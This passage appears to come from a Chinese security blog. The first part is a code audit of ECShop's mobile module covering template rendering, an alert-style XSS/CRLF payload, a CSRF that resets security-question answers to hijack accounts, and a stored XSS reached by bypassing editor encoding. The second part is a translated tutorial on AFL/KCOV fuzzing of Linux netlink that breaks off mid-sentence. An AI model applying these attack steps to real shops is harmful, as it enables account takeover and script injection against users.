`/Users/xq17/www/ecshop/upload/mobile/include/libraries/EcsTemplate.class.php`
里面声明了一系列方法和属性,用来编译模版,输出html代码。
这里不展开内容讲,直接从实际例子出发(省略模版编译过程),方便理解
但是具体还可以参考上次我写的数据库类分析那样去通读下模版类过程。
以`upload/mobile/include/apps/default/controllers/ActivityController.class.php`为例
public function index() {
$this->parameter(); //获取输入参数 大概内容参考前篇有
$this->assign('page', $this->page);//这里就赋予模版变量的值
$this->assign('size', $this->size);//先记下来
$this->assign('sort', $this->sort);
$this->assign('order', $this->order);
$count = model('Activity')->get_activity_count();
$this->pageLimit(url('index'), $this->size);
$this->assign('pager', $this->pageShow($count));
$list = model('Activity')->get_activity_info($this->size, $this->page);
$this->assign('list', $list);
$this->display('activity.dwt');//主要是跟进这里,传入了模版文件名记忆一下方便理解。
}
`upload/mobile/include/apps/default/controllers/CommentController.class.php`
protected function display($tpl = '', $cache_id = '', $return = false)
{
self::$view->display($tpl, $cache_id);//进入/EcsTemplate类的display函数,跟进
}
//下面分析都是EcsTemplate类的内容
function display($filename, $cache_id = '') {
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);//除去 E_NOTICE 之外的所有错误信息
$this->_checkfile = false; //设置为false 记一下
$out = $this->fetch($filename, $cache_id);//跟进这里 $filename=activity.dwt
.............//省略,后面继续分析
echo $out;
}
function fetch($filename, $cache_id = '') {
..................................//省略
if (strncmp($filename, 'str:', 4) == 0) {//文件名如果有str:进入下面,这里跳过
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
} else {
if ($this->_checkfile) {//上面设置为了false跳过
if (!file_exists($filename)) {
$filename = $this->template_dir . '/' . $filename;
}
} else {
$filename = $this->template_dir . '/' . $filename;//拼接出绝对路径
//$filename=upload/mobile/themes/ecmoban_zsxn/activity.dwt
}
if ($this->direct_output) {//开始就算false,跳过
$this->_current_file = $filename;
$out = $this->_eval($this->fetch_str(file_get_contents($filename)));
} else {
if ($cache_id && $this->caching) { //跳过这里 $cache_id=0
$out = $this->template_out;
} else { //进入下面
if (!in_array($filename, $this->template)) {
$this->template[] = $filename;//文件名赋值给template数组
}
$out = $this->make_compiled($filename);//跟进这里
.................//省略待会再回来分析
function make_compiled($filename) {
//增加文件夹存在判断 by ecmoban carson
$compile_path = $this->compile_dir;
if (!is_dir($compile_path)) {
@mkdir($compile_path, 0777, true);
}
$name = $compile_path . '/' . basename($filename) . '.php';
//记录下这个变量
//$name=upload/mobile/data/caches/compiled/activity.dwt.php
if ($this->_expires) {//初始化为0,进入else
$expires = $this->_expires - $this->cache_lifetime;
} else {
$filestat = @stat($name);//获取文件统计信息
$expires = $filestat['mtime'];//文件上次修改的时间
}
$filestat = @stat($filename);
//$filename=upload/mobile/themes/ecmoban_zsxn/activity.dwt
if ($filestat['mtime'] <= $expires && !$this->force_compile) {//比较下建立时间
if (file_exists($name)) {
$source = $this->_require($name);//这里主要跟进下_require
if ($source == '') {
$expires = 0;
}
} else {
$source = '';
$expires = 0;
}
}
.................//省略待会分析
}
function _require($filename) {
//upload/mobile/data/caches/compiled/activity.dwt.php
ob_start();
include $filename; //跟进下这个文件
$content = ob_get_contents();//获取缓冲区内容,其实就是上面文件的内容
ob_end_clean();
return $content;
}
进入这个文件upload/mobile/data/caches/compiled/activity.dwt.php // **这里挺重要的,也是我想讲的**
<?php echo $this->fetch('library/page_header.lbi'); ?> //加载头部的模版
<div class="con">
<div style="height:4.2em;"></div>
<header>
<nav class="ect-nav ect-bg icon-write">
<?php echo $this->fetch('library/page_menu.lbi'); ?>//菜单模版
</nav>
</header>
<div class="bran_list" id="J_ItemList" style="opacity:1;">
<ul class="single_item">
</ul>
<a href="javascript:;" class="get_more"></a> </div>
</div>
<?php echo $this->fetch('library/new_search.lbi'); ?> <?php echo $this->fetch('library/page_footer.lbi'); ?> //都是加载模版,原理触类旁通就行了
<script type="text/javascript">
//这里是我想重点讲的,就是我们注册的变量$this->_var是经过什么操作进入了html代码里面
<?php echo url('activity/asynclist', array('page'=>$this->_var['page'], 'sort'=>$this->_var['sort'], 'order'=>$this->_var['order']));?>" , '__TPL__/images/loader.gif');
</script>
<script src="__TPL__/js/TouchSlide.1.1.js"></script>
</body>
</html>
代码和实际对比下来理解
get_asynclist("<?php echo url('activity/asynclist', array('page'=>$this->_var['page'], 'sort'=>$this->_var['sort'], 'order'=>$this->_var['order']));?>" , '__TPL__/images/loader.gif');
//提取出php代码
<?php echo url('activity/asynclist', array('page'=>$this->_var['page'], 'sort'=>$this->_var['sort'], 'order'=>$this->_var['order']));?>
// 跟进url函数
function url($route = 'index/index', $params = array(), $org_mode = '') {
return U($route, $params, true, false, $org_mode); //跟进u函数 $param对应我们设置的变量
}
直接显示的结果如图:
function U($url='',$vars='',$suffix=true,$domain=false,$org_mode='') {
// 解析URL
$info = parse_url($url);
// 解析子域名
......................
// 解析参数
if(is_string($vars)) { // aaa=1&bbb=2 转换成数组
parse_str($vars,$vars);
}elseif(!is_array($vars)){
$vars = array();
}
if(isset($info['query'])) { // 解析地址里面参数 合并到vars
parse_str($info['query'],$params);
$vars = array_merge($params,$vars);
}
//url组装
...................
if(!empty($vars)) { // 添加参数
.........
if(isset($anchor)){
$url .= '#'.$anchor;
}
if($domain) {
$url = (is_ssl()?'https://':'http://').$domain.$url;
}
return $url;
}
其实这个点如果可控的话,因为这里没有在进行处理的过程,这里`get_asynclist("`
这里很明显就是双引号闭合,如果有原生可控的$_GET等那么就是一处xss了。
不过回到`private function parameter()` 没有找到利用参数.
继续分析下去其实就是
`echo $out;` 把渲染好的模版进行输出了。
大概的模版解析流程就是这样子,
这里因为已经编译过了,所以直接是模版文件分析。
不过还是建议读下compile文件是如何生成的对应的标签变量是怎么转换的。
简单对比下:
这是模版文件,有各种标签
这是编译后的模版php文件
这里不展开讲解编译过程,不过后面研究getshell(模版注入)我会再进行分析,我的目的主要是告诉你们这样一个流程
理解的话还是需要你们自己去实践理解去debug代码。
## 0x5 谈下挖掘xss的思路
>1. 关注点可以多从黑盒出发,文章、评论等存在富文本地方
>
>2. 寻找原生变量,或者I方法不调用htmlspcialchars的变量,再进去跟踪,是否直接echo或者进去了模版
>
>3. 寻找解码函数htmlspecialchars_decode()
>
>4. 寻找注册模版变量的原生变量,然后再去看模版有没有单引号包括。
>
> 或者反其道行之，阅读模版变量,逆向找可控。
>
>5. 前端代码审计,domxss,就是看下js有没有自己去进行调用,这样也可以绕过全局限制。
这套系统其实相对比较简单,没有那么多交互点,另一方面可能我水平比较菜(tcl)
## 0x5.5 谈下挖掘csrf的思路
csrf是需要交互的,最好最有效就是对后台功能点进行黑盒测试,基本用不上白盒,白盒唯一可以看看是token是不是可以伪造啥的,找的时候可以读一下验证token的代码,一般不会出现问题,这套系统前台没做token认证,这里我就不浪费时间分析这个了。
## 0x6 XSS And CSRF漏洞
#### 0x6.1 前台AfficheController超级鸡肋的反射xss
直接选定前台目录,搜索`$_GET` `$_POST`
class AfficheController extends CommonController
{
public function __construct()
{
parent::__construct();
}
public function index()
{
$ad_id = intval(I('get.ad_id'));
if (empty($ad_id)) {
$this->redirect(__URL__);
}
$act = ! empty($_GET['act']) ? I('get.act') : '';
if ($act == 'js') {
/* 编码转换 */
if (empty($_GET['charset'])) {
$_GET['charset'] = 'UTF8';
}
header('Content-type: application/x-javascript; charset=' . ($_GET['charset'] == 'UTF8' ? 'utf-8' : $_GET['charset']));//这里没有单引号括起来直接拼接
$url = __URL__;
这里其实是个 _header CRLF注入_ ,但是很可惜自从php4.1之后,php的header函数就没办法插入换行符了,
所以说这是一个很鸡肋的点,一点价值都没有,但是我想表达的是,我是如何去挖掘的。
payload:`%0a%0d<script>alert(/xq17/)</script>`
在php高版本会提示错误,不允许多个header argument之类的。
前台那种直接输出
`$_GET $_POST`我基本找了一次,很遗憾没有发现那种很常见的反射xss。
#### 0x6.2 前台会员中心csrf可盗取用户账号
这套系统首先是个人中心编辑资料处:
一般人觉得都是去修改密码那里看看,但是现在一般的程序员都会验证下原密码。
不过这里还有个设置问题答案的功能,我们可以尝试从这里入手。
很明显就没有token等类似的字样,burp生成csrf的payload。
打开访问下:
回到ecshop页面
这个点挺low的,权当分享。
还有csrf修改地址什么,基本都没有token保护,csrf挖掘应该是很简单的,其实我是觉得很多人混淆了下xss和csrf,
又刚好有这个例子,就拿来分析一波了。
### 0x6.3 前台的xss一次失败的挖掘过程
黑盒看功能点:
> 收获地址应该是经常被用于测试xss的
>
>
跟进代码去解读下如何存起来的:
public function add_address() {
if (IS_POST) {
$address = array(
'user_id' => $this->user_id,
'address_id' => intval($_POST['address_id']),
'country' => I('post.country', 0, 'intval'),
'province' => I('post.province', 0, 'intval'),
'city' => I('post.city', 0, 'intval'),
'district' => I('post.district', 0, 'intval'),//整形不可能
'address' => I('post.address'),//默认htmlspecialchars过滤
'consignee' => I('post.consignee'),
'mobile' => I('post.mobile')
);
$token = $_SESSION['token'] = md5(uniqid());
if($_GET['token'] == $_SESSION['token']){
$url = url('user/address_list');
ecs_header("Location: $url");
}
if (model('Users')->update_address($address)) {//跟进这里
show_message(L('edit_address_success'), L('address_list_lnk'), url('address_list'));
}
exit();
}
if(!empty($_SESSION['consignee'])){
$consignee = $_SESSION['consignee'];
$this->assign('consignee', $consignee);
}
function update_address($address) {
$address_id = intval($address['address_id']);
unset($address['address_id']);
$this->table = 'user_address';
if ($address_id > 0) {
/* 更新指定记录 */
$condition['address_id'] = $address_id;
$condition['user_id'] = $address['user_id'];
$this->update($condition, $address);
} else {
/* 插入一条新记录 */
$this->insert($address);//这里插入了
$address_id = M()->insert_id();
}
.............................
}
return true;
}
执行的sql:
(`user_id`,`country`,`province`,`city`,`district`,`address`,`consignee`,`mobile`) VALUES ('1','1','5','58','722','admin\"><','admin\"><','13888788888')
全局htmlspecialchars过滤一次,数据库addalshes一次。
然后我们在看是如何输出的:
public function address_list() {
if (IS_AJAX) {
......................
}
// 赋值于模板
$this->assign('title', L('consignee_info'));
$this->display('user_address_list.dwt');
}
这里直接输出已经被转义的payload,所以造不成xss。
通过这次xss失败挖掘经历,我更加理解了,针对这个cms的挖掘思路:
> 1.变量一定不能经过htmlspecialchars(除非有解码)
>
> 2.寻找htmlspecialchars_decode()解码输出点。
针对第一个:
通过正则匹配:
`I('.*?', .*?, '[^s]+')`找出非默认值I方法,这样就不会有htmlspecialchars
但是很遗憾我没找到好的利用点。
第二个我找到了看下面分析吧
### 0x6.4 ArticleController处xss
直接搜索:`htmlspecialchars_decode`
这里有两处,另一处是`html_out`函数起了`htmlspecialchars_decode`的功能
分析第一处:
public function wechat_news_info() {
/* 文章详情 */
$news_id = I('get.id', 0, 'intval');
$data = $this->model->table('wechat_media')->field('title, content, file, is_show, digest')->where('id = ' . $news_id)->find(); //wechat_media表去取内容
$data['content'] = htmlspecialchars_decode($data['content']);
$data['image'] = $data['is_show'] ? __URL__ . '/' . $data['file'] : '';
$this->assign('article', $data);
$this->assign('page_title', $data['title']);
$this->assign('meta_keywords', $data['title']);
$this->assign('meta_description', strip_tags($data['digest']));
这里就很nice,直接全局搜索`table('wechat_media')` `'wechat_media'` `pre.'wechat_media'`
看看那里可以进行插入
有两个文件出现了很多次这个按道理来说肯定会有插入:
1.`WechatController.class.php` 前台
2.`admin/controllers/WechatController.class.php` 后台
读下前台,好像没有找到插入的,那么跟下第二个文件
/**
* 图文回复编辑
*/
public function article_edit()
{
if (IS_POST) {
..................//省略
if (! empty($id)) {
// 删除图片
if ($pic_path != $data['file']) {
@unlink(ROOT_PATH . $pic_path);
}
$data['edit_time'] = gmtime();
$this->model->table('wechat_media')
->data($data)
->where('id = ' . $id)
->update(); //这里有个更新操作
} else {
$data['add_time'] = gmtime();
$this->model->table('wechat_media')
->data($data)
->insert();//这里有个插入操作
}
$this->message(L('edit') . L('success'), url('article'));
}
那么回去继续读下省略部分看`$data`经过了什么过滤没。
if (IS_POST) {
$id = I('post.id');
$data = I('post.data');
$data['content'] = I('post.content');
$pic_path = I('post.file_path');
// 封面处理
if ($_FILES['pic']['name']) {
$result = $this->ectouchUpload('pic', 'wechat');
if ($result['error'] > 0) {
$this->message($result['message'], NULL, 'error');
}
$data['file'] = substr($result['message']['pic']['savepath'], 2) . $result['message']['pic']['savename'];
$data['file_name'] = $result['message']['pic']['name'];
$data['size'] = $result['message']['pic']['size'];
} else {
$data['file'] = $pic_path;
}
很明显内容是用了I方法获取了一次,也就是htmlspecialchars了一次,关于插入其实就是底层做了个escape过滤,
没啥影响,可以看我前面的分析,所以说这里可以导致xss
**演示分析下:**
`http://127.0.0.1:8888/ecshop/upload2/upload/mobile/?m=admin&c=Wechat&a=article_edit`
然后我们回去访问下:
`http://127.0.0.1:8888/ecshop/upload2/upload/mobile/index.php?m=default&c=article&a=wechat_news_info&id=1`
竟然没弹框?
直接搜索数据库:
public function wechat_news_info() {
/* 文章详情 */
$news_id = I('get.id', 0, 'intval');
$data = $this->model->table('wechat_media')->field('title, content, file, is_show, digest')->where('id = ' . $news_id)->find(); //对应是这个
$data['content'] = htmlspecialchars_decode($data['content']);
$data['image'] = $data['is_show'] ? __URL__ . '/' . $data['file'] : '';
$this->assign('article', $data);
$this->assign('page_title', $data['title']);
$this->assign('meta_keywords', $data['title']);
$this->assign('meta_description', strip_tags($data['digest']));
的确是进行了解码
那么问题就出现了存进数据库的过程,但是我后端php代码感觉没啥问题呀,
我于是在跑回去用burp抓包下提交的过程
果然被我猜中了,编辑器自己又进行了一次编码,不过这是编辑器前端处理的,那么非常easy绕过
然后再去访问,ok弹框了
这个漏洞可能会觉得鸡肋,但是常见一般都会有回复功能,肯定也是这样写的,因为要安装插件啥的,这里直接用了后台来演示。
总结下这个点的成因和意义:
> 成因:
>
> 正因为编辑器有编码特性,所以程序员写了个解码函数,不过由于前端可控,导致绕过
>
> 意义:
>
> 这个对于挖漏洞,挖src可以多关注下是不是这样子的成因,要不然就错过了一个存储xss了。
## 0x7 预告计划
现在续集来到了xss and
csrf,我为自己的坚持感到开心,通过这次从代码审计挖掘xss,也激起了我想写一篇从0到1的针对tsrc的xss挖掘漏洞系列(反射 dom
存储),一些绕过过程我感觉还是很有意思,不过需要js基础,还要问下审核能不能发表才行,不行就换家可以发表的,当作是自己挖src的学习刺激,也就是说tsrc的xss系列是我向前端审计的一种过渡,也是我下一步的方向。
## 0x8 感想
这次写了比较久,可能是不太熟悉这种挖掘方式,感觉还是菜,寒假好好努力吧,在十天内,争取写完后端代码审计的大部分类型。 | 社区文章 |
这是内核漏洞挖掘技术系列的第十三篇(本篇文章为翻译)。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
第四篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(2)](https://xz.aliyun.com/t/4932
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(2\)")
第五篇：[内核漏洞挖掘技术系列(4)——syzkaller(1)](https://xz.aliyun.com/t/5079
"内核漏洞挖掘技术系列\(4\)——syzkaller\(1\)")
第六篇：[内核漏洞挖掘技术系列(4)——syzkaller(2)](https://xz.aliyun.com/t/5098
"内核漏洞挖掘技术系列\(4\)——syzkaller\(2\)")
第七篇：[内核漏洞挖掘技术系列(4)——syzkaller(3)](https://xz.aliyun.com/t/5154
"内核漏洞挖掘技术系列\(4\)——syzkaller\(3\)")
第八篇：[内核漏洞挖掘技术系列(4)——syzkaller(4)](https://xz.aliyun.com/t/5223
"内核漏洞挖掘技术系列\(4\)——syzkaller\(4\)")
第九篇：[内核漏洞挖掘技术系列(4)——syzkaller(5)](https://xz.aliyun.com/t/5401
"内核漏洞挖掘技术系列\(4\)——syzkaller\(5\)")
第十篇：[内核漏洞挖掘技术系列(5)——KernelFuzzer](https://xz.aliyun.com/t/5443
"内核漏洞挖掘技术系列\(5\)——KernelFuzzer")
第十一篇：[内核漏洞挖掘技术系列(6)——使用AFL进行内核漏洞挖掘(1)](https://xz.aliyun.com/t/5521
"内核漏洞挖掘技术系列\(6\)——使用AFL进行内核漏洞挖掘\(1\)")
第十二篇：[内核漏洞挖掘技术系列(7)——静态模式匹配](https://xz.aliyun.com/t/5764
"内核漏洞挖掘技术系列\(7\)——静态模式匹配")
之前在本系列的第十一篇文章：[内核漏洞挖掘技术系列(6)——使用AFL进行内核漏洞挖掘(1)](https://xz.aliyun.com/t/5521
"内核漏洞挖掘技术系列\(6\)——使用AFL进行内核漏洞挖掘\(1\)")中和大家分享了两个使用AFL进行内核漏洞挖掘的工具。这两个工具的实现都比较复杂，那么有没有比较简单的将AFL应用于内核漏洞挖掘的方法呢？这里为大家翻译一篇cloudflare使用AFL对netlink进行fuzz的博客，这篇博客中采用的方法相比之前介绍的方法可以说是更“轻量级”的，也更好理解和上手。希望读者能有所收获。
原文地址：<https://blog.cloudflare.com/a-gentle-introduction-to-linux-kernel-fuzzing/>
## 前言
有一段时间我一直想做基于代码覆盖率的[fuzz](https://en.wikipedia.org/wiki/Fuzzing
"fuzz")。fuzz是一种强大的测试技术：自动化的程序将半随机的输入发送到测试程序以找到触发错误的输入。fuzz在查找C/C++程序中的内存损坏错误时特别有用。
通常情况下建议选择一个众所周知但之前没有很多人fuzz过的主要功能是解析的库进行fuzz。以前像libjpeg，libpng和libyaml这样的库都是完美的目标。如今找到一个容易的目标更难——它们似乎都已经被fuzz过了。软件越来越安全了，这是好事。我没有选择用户空间的目标，而是选择了Linux内核netlink系统。
[netlink是一个由ss/ip/netstat等工具使用的Linux内部的设施](https://en.wikipedia.org/wiki/Netlink
"netlink是一个Linux内部的工具")。它用于底层网络任务中——配置网络接口，IP地址，路由表等。这是一个很好的目标：它是内核的一个不起眼的部分，并且自动生成有效的输入相对容易。最重要的是，我们可以在此过程中学到很多关于Linux内部的知识。不过netlink中的错误不会产生安全问题——netlink套接字通常需要特权访问。
在这篇文章中，我们将运行[AFL](http://lcamtuf.coredump.cx/afl/ "AFL")，使我们的netlink
shim程序在自定义的Linux内核上运行(在计算机编程中shim是一个小型库，可透明地截取API，更改传递的参数，处理操作本身，或将操作重定向到别处)。所有这些都在KVM虚拟化的环境中。
这篇博客是一个教程。通过易于遵循的指示，你应该能够快速复制结果。你只需要一台运行Linux的机器和20分钟时间。
## 前人的工作
我们将要使用的技术正式的说法是“基于代码覆盖率的fuzz”。有很多相关研究：
Dan Guido的[The Smart Fuzzer
Revolution](https://blog.trailofbits.com/2017/02/16/the-smart-fuzzer-revolution/ "The Smart Fuzzer
Revolution")，以及[LWN关于它的文章](https://lwn.net/Articles/677764/ "LWN关于它的文章")
j00ru(Mateusz Jurczyk)的[Effective file format
fuzzing](https://j00ru.vexillium.org/talks/blackhat-eu-effective-file-format-fuzzing-thoughts-techniques-and-results/ "Effective file format fuzzing")
Robert Swiecki开发的[honggfuzz](http://honggfuzz.com/
"honggfuzz")，是一个现代化的功能丰富的基于代码覆盖率的fuzzer
[ClusterFuzz](https://google.github.io/clusterfuzz/ "ClusterFuzz")
[Fuzzer Test Suite](https://github.com/google/fuzzer-test-suite "Fuzzer Test
Suite")
很多人都fuzz过Linux内核。最重要的是下面两项研究(下面提到的两个工具在内核漏洞挖掘技术系列文章中已经介绍过了)：
由Dmitry
Vyukov编写的[syzkaller(又名syzbot)](https://github.com/google/syzkaller/blob/master/docs/syzbot.md
"syzkaller\(又名syzbot\)")是一个非常强大的能够持续集成运行的内核fuzzer，它已经发现了数百个问题。这是一个很棒的fuzzer，它甚至会自动报告错误！
[Trinity fuzzer](https://github.com/kernelslacker/trinity "Trinity fuzzer")
我们将使用[AFL](http://lcamtuf.coredump.cx/afl/ "AFL")，每个人最喜欢的fuzzer。AFL由[Michał
Zalewski](http://lcamtuf.coredump.cx/ "Michał
Zalewski")开发，以易用，快速和非常好的变异逻辑而闻名。这是人们开始fuzz之旅的完美选择！
如果您想了解有关AFL的更多信息，请参阅这几个文件：
[Historical notes](http://lcamtuf.coredump.cx/afl/historical_notes.txt
"Historical notes")
[Technical whitepaper](http://lcamtuf.coredump.cx/afl/technical_details.txt
"Technical whitepaper")
[README](http://lcamtuf.coredump.cx/afl/README.txt "README")
## 基于代码覆盖率的fuzz
基于代码覆盖率的fuzz原理是反馈回路：
* fuzzer选择最有希望的测试用例
* fuzzer将测试用例变异为大量新的测试用例
* 目标代码运行变异的测试用例，并报告代码覆盖率
* fuzzer根据报告的覆盖范围计算得分，并使用它来确定测试用例的优先级并删除冗余的测试用例
例如，假设输入测试是hello。fuzzer可能会将其变为多种测试用例，例如：hEllo(位翻转)，hXello(字节插入)，hllo(字节删除)。如果这些测试中的任何一个产生新的代码覆盖，那么它将被优先用作下一次fuzz的测试用例。
有关如何完成变异以及如何有效地比较数千个程序运行的代码覆盖率报告的细节问题是fuzzer最关键的地方。阅读[AFL的技术白皮书](http://lcamtuf.coredump.cx/afl/technical_details.txt
"AFL的技术白皮书")了解细节。
从二进制文件报告的代码覆盖率非常重要。fuzzer根据它对测试用例进行排序，并确定最有希望的测试用例。没有代码覆盖率信息进行fuzz就像是盲人摸象。
通常在使用AFL时我们需要对目标代码进行插桩，以便以和AFL兼容的方式报告代码覆盖率。但我们想要fuzz内核，不能直接用afl-gcc重新编译它。这里将使用一个小技巧：我们将准备一个二进制文件，让AFL认为它是用它的工具编译的。这个二进制文件将报告从内核中提取的代码覆盖率。
## 内核代码覆盖率
内核至少有两个内置的代码覆盖率机制——GCOV和KCOV：
[Using gcov with the Linux kernel](https://www.kernel.org/doc/html/v4.15/dev-tools/gcov.html "Using gcov with the Linux kernel")
[KCOV: code coverage for fuzzing](https://www.kernel.org/doc/html/latest/dev-tools/kcov.html "KCOV: code coverage for fuzzing")
KCOV的设计考虑了fuzz，因此我们将使用它。使用KCOV非常简单。我们必须使用正确的设置编译Linux内核。首先，启用KCOV内核配置选项：
cd linux
./scripts/config \
-e KCOV \
-d KCOV_INSTRUMENT_ALL
KCOV能够记录整个内核的代码覆盖率。可以使用KCOV_INSTRUMENT_ALL选项进行设置。缺点是它会减慢我们不想分析的内核部分，并且会在我们的fuzz中引入噪声（降低稳定性）。对于内核fuzz的初学者，禁用KCOV_INSTRUMENT_ALL并有选择地在我们实际想要分析的代码上启用KCOV。现在，我们专注于netlink系统，所以让我们在整个net目录树上启用KCOV：
find net -name Makefile | xargs -L1 -I {} bash -c 'echo "KCOV_INSTRUMENT := y" >> {}'
更完美的情况是只为我们真正感兴趣的几个文件启用KCOV。但是netlink遍及网络栈的代码，我们今天没有时间进行微调。
有了KCOV，接下来添加“kernel
hacking”配置，这将增加报告内存损坏错误的可能性。参考[readme](https://github.com/cloudflare/cloudflare-blog/blob/master/2019-07-kernel-fuzzing/README.md
"readme")中[syzkaller建议的选项列表](https://github.com/google/syzkaller/blob/master/docs/linux/kernel_configs.md
"syzkaller建议的选项列表")(最重要的是KASAN)。
使用这样的配置，我们可以编译启用KCOV和KASAN的内核。我们将在kvm中运行内核。我们将使用[virtme](https://github.com/amluto/virtme
"virtme")帮助我们设置环境，需要下面这几项配置：
./scripts/config \
-e VIRTIO -e VIRTIO_PCI -e NET_9P -e NET_9P_VIRTIO -e 9P_FS \
-e VIRTIO_NET -e VIRTIO_CONSOLE -e DEVTMPFS ...
(完整列表请参阅[readme](https://github.com/cloudflare/cloudflare-blog/blob/master/2019-07-kernel-fuzzing/README.md "readme"))
## 如何使用KCOV
KCOV非常易于使用。首先，请注意代码覆盖率记录在每个进程的数据结构中。这意味着必须在用户空间进程中启用和禁用KCOV，并且无法记录例如中断处理这样的非任务事项的代码覆盖率。这对我们的需求来说完全没问题。
KCOV将数据报告给环形缓冲区。设置非常简单，[请参阅我们的代码](https://github.com/cloudflare/cloudflare-blog/blob/master/2019-07-kernel-fuzzing/src/kcov.c
"请参阅我们的代码")。然后你可以使用一个简单的ioctl启用和禁用它：
ioctl(kcov_fd, KCOV_ENABLE, KCOV_TRACE_PC);
/* profiled code */
ioctl(kcov_fd, KCOV_DISABLE, 0);
之后环形缓冲区会包含启用KCOV的内核代码的所有基本块的％rip值列表。要读取缓冲区，请运行下面的代码：
n = __atomic_load_n(&kcov_ring[0], __ATOMIC_RELAXED);
for (i = 0; i < n; i++) {
printf("0x%lx\n", kcov_ring[i + 1]);
}
使用像addr2line这样的工具可以将％rip解析为对应的源代码中的那一行。我们不需要它，原始的％rip值对我们来说已经足够了。
## 将KCOV发送到AFL
下一步是欺骗AFL。请记住，AFL需要一个特制的可执行文件，但我们想要提供内核代码覆盖率。首先让我们了解一下AFL的工作原理。
AFL设置一个64K
8位的数组。该内存区域称为shared_mem或trace_bits，并与跟踪的程序共享。数组中的每个字节都可以被认为是检测代码中特定(branch_src，branch_dst)对的命中计数器。
重要的是要注意AFL更喜欢随机分支标签而不是重用％rip值来识别基本块。这是为了增加熵——我们希望数组中的命中计数器均匀分布。AFL使用的算法如下：
cur_location = <COMPILE_TIME_RANDOM>;
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;
在使用KCOV的情况下没有每个分支的编译时随机值。我们将使用哈希函数从KCOV记录的％rip生成统一的16位数。这就是如何将KCOV报告提供给AFL
shared_mem数组的代码：
n = __atomic_load_n(&kcov_ring[0], __ATOMIC_RELAXED);
uint16_t prev_location = 0;
for (i = 0; i < n; i++) {
uint16_t cur_location = hash_function(kcov_ring[i + 1]);
shared_mem[cur_location ^ prev_location]++;
prev_location = cur_location >> 1;
}
## 从AFL读取测试数据
最后，我们需要实际编写调用netlink接口的测试代码！首先，我们需要从AFL读取输入数据。默认情况下，AFL将测试用例发送到stdin：
/* read AFL test data */
char buf[512*1024];
int buf_len = read(0, buf, sizeof(buf));
## Fuzzing netlink
然后我们需要将此缓冲区发送到netlink套接字。但我们对netlink的工作原理一无所知！好吧，让我们使用前5个字节的输入作为netlink协议和组ID字段。AFL将找出并猜测这些字段的正确值。简化的代码如下：
netlink_fd = socket(AF_NETLINK, SOCK_RAW | SOCK_NONBLOCK, buf[0]);
struct sockaddr_nl sa = {
.nl_family = AF_NETLINK,
.nl_groups = (buf[1] <<24) | (buf[2]<<16) | (buf[3]<<8) | buf[4],
};
bind(netlink_fd, (struct sockaddr *) &sa, sizeof(sa));
struct iovec iov = { &buf[5], buf_len - 5 };
struct sockaddr_nl sax = {
.nl_family = AF_NETLINK,
};
struct msghdr msg = { &sax, sizeof(sax), &iov, 1, NULL, 0, 0 };
r = sendmsg(netlink_fd, &msg, 0);
if (r != -1) {
/* sendmsg succeeded! great I guess... */
}
基本上就是这样！为了更快，我们将它包装在一个模仿[AFL fork
server逻辑](https://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html "AFL fork
server逻辑")的循环中。我将跳过此处的解释，请[参阅代码](https://github.com/cloudflare/cloudflare-blog/blob/master/2019-07-kernel-fuzzing/src/forksrv.c "参阅代码")了解详细信息。我们的AFL-to-KCOV shim的代码如下所示：
forksrv_welcome();
while(1) {
forksrv_cycle();
test_data = afl_read_input();
kcov_enable();
/* netlink magic */
kcov_disable();
/* fill in shared_map with tuples recorded by kcov */
if (new_crash_in_dmesg) {
forksrv_status(1);
} else {
forksrv_status(0);
}
}
[在这里查看完整的源代码](https://github.com/cloudflare/cloudflare-blog/blob/master/2019-07-kernel-fuzzing/src/fuzznetlink.c "在这里查看完整的源代码")。
## 如何运行自定义内核
我们遗漏了一个重要的部分——如何运行我们构建的自定义内核。有三种选择：
native：可以在本机上启动构建的内核并fuzz它。这是最快的，但如果fuzzer成功找到bug机器将崩溃，可能会丢失测试数据。应该避免这样的方法。
uml：我们可以将内核配置为以[用户模式Linux](http://user-mode-linux.sourceforge.net/
"用户模式Linux")运行。运行UML内核不需要任何权限。内核只运行用户空间进程。UML非常酷，但遗憾的是它不支持KASAN，因此减少了查找内存损坏错误的可能性。而且UML是一个非常神奇的特殊环境，在UML中发现的错误可能与真实环境无关。有趣的是，[Android
network_tests框架](https://source.android.com/devices/architecture/kernel/network_tests
"Android network_tests框架")使用UML。
kvm：我们可以使用kvm在虚拟化环境中运行我们的自定义内核。这就是我们要做的。
使用[virtme](https://github.com/amluto/virtme
"virtme脚本")可以避免创建专用的磁盘映像或分区，只需共享主机文件系统。运行代码的脚本如下：
virtme-run \
--kimg bzImage \
--rw --pwd --memory 512M \
--script-sh "<what to run inside kvm>"
我们忘记了为我们的fuzzer准备输入语料库！
## 构建输入语料库
每个fuzzer都需要精心设计的测试用例作为输入，以引导第一个变异。测试用例应该简短，并尽可能覆盖大部分代码。可悲的是我对netlink一无所知，那我们就不准备输入语料库吧……
我们可以要求AFL“弄清楚”哪些输入有意义。这就是[Michał在2014年对JPEG所做的](https://lcamtuf.blogspot.com/2014/11/pulling-jpegs-out-of-thin-air.html "Michał在2014年对JPEG所做的")，并且很有效。这是我们的输入语料库：
mkdir inp
echo "hello world" > inp/01.txt
有关如何编译和运行的所有说明都在我们的github上的[README.md](https://github.com/cloudflare/cloudflare-blog/tree/master/2019-07-kernel-fuzzing "README.md")中。归根到底就是：
virtme-run \
--kimg bzImage \
--rw --pwd --memory 512M \
--script-sh "./afl-fuzz -i inp -o out -- fuzznetlink"
运行之后将在屏幕上看到熟悉的AFL打印的信息：
## 进一步说明
现在你在KVM中有一个自定义的内核并运行了一个基本的基于代码覆盖率的fuzzer。
这么做值得吗？即使只有这个基本的fuzzer，也没有输入语料库，一两天后，fuzzer仍然发现了一个有趣的代码路径：NEIGH: BUG, double
timer add, state is
